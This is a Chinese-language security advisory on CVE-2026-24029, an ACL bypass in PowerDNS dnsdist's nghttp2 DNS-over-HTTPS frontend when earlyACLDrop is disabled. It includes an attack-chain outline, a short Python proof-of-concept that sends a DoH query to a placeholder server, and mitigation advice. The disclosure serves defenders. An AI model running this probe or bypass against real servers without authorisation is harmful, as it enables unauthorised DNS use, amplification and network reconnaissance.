IPBUF安全漏洞报告
English
CVE-2026-24029 CVSS 6.5 中危

CVE-2026-24029 PowerDNS dnsdist访问控制绕过漏洞

披露日期: 2026-03-31

漏洞信息

漏洞编号
CVE-2026-24029
漏洞类型
访问控制绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PowerDNS dnsdist

相关标签

访问控制绕过PowerDNSdnsdistDoHACL网络安全

漏洞概述

该漏洞存在于PowerDNS dnsdist组件中。当使用nghttp2提供程序的DNS over HTTPS (DoH)前端时,如果管理员将`early_acl_drop`选项禁用(默认为启用),系统会在处理请求时跳过访问控制列表(ACL)检查。这导致任何客户端无论其IP地址是否符合配置的ACL策略,均被允许发送DoH查询,从而使访问控制机制失效。

技术细节

该漏洞源于PowerDNS dnsdist在处理DoH流量时的逻辑缺陷。正常情况下,dnsdist通过ACL(访问控制列表)来限制哪些客户端IP可以发起DNS查询。当使用`nghttp2`作为DoH后端提供程序时,系统引入了`early_acl_drop`(在Lua配置中为`earlyACLDrop`)选项,旨在请求处理的早期阶段就拒绝未授权连接以提升性能。然而,当该选项被显式设置为`false`(禁用)时,dnsdist在后续的请求处理流程中完全跳过了ACL验证步骤。由于该配置错误,攻击者无需经过身份认证,也无需用户交互,即可直接向目标服务器发送DNS查询。这不仅违反了安全策略,还可能导致攻击者利用授权的DNS服务器进行DNS放大攻击或探测内部网络架构。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标正在运行PowerDNS dnsdist,并开放了基于nghttp2的DoH服务接口。
STEP 2
2. 配置探测
攻击者通过探测或分析响应行为,推测目标可能配置了ACL但可能存在配置疏漏(即禁用了early_acl_drop)。
STEP 3
3. 发起攻击
攻击者使用一个不在ACL允许范围内的IP地址,直接向DoH端点发送DNS查询请求。
STEP 4
4. 绕过验证
由于漏洞存在,dnsdist跳过ACL检查,直接处理该请求并返回DNS解析结果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Demonstration for CVE-2026-24029 # This script demonstrates that ACL checks are bypassed when early_acl_drop is disabled. # # Precondition: dnsdist is configured with nghttp2, an ACL restricting specific IPs, # and 'earlyACLDrop' is set to 'false' in the Lua configuration. import requests import sys # Target DoH server URL (example) target_url = "https://dnsdist-server.example.com:443/dns-query" # Attacker's IP (Assume this IP is NOT in the allowed ACL) # Normally the query should be blocked, but with the vulnerability it succeeds. def test_acl_bypass(): print(f"[*] Attempting to send DoH query to {target_url}...") # Parameters for a DNS A record query params = { "name": "example.com", "type": "A" } headers = { "Accept": "application/dns-json" } try: response = requests.get(target_url, params=params, headers=headers, timeout=5, verify=False) if response.status_code == 200: print("[+] Vulnerability Confirmed: Query successful despite ACL restrictions.") print(f"[+] Response Data: {response.text[:100]}...") else: print(f"[-] Query blocked or failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": test_acl_bypass()

影响范围

PowerDNS dnsdist (使用 nghttp2 提供程序且配置 earlyACLDrop=false 的版本)

防御指南

临时缓解措施
立即检查dnsdist的配置文件,查找所有`addDOHLocal`或相关的DoH前端配置。确保没有将`earlyACLDrop`参数显式设置为`false`。如果不需要对外开放DoH服务,建议直接关闭相关端口或仅允许受信任的内网IP访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表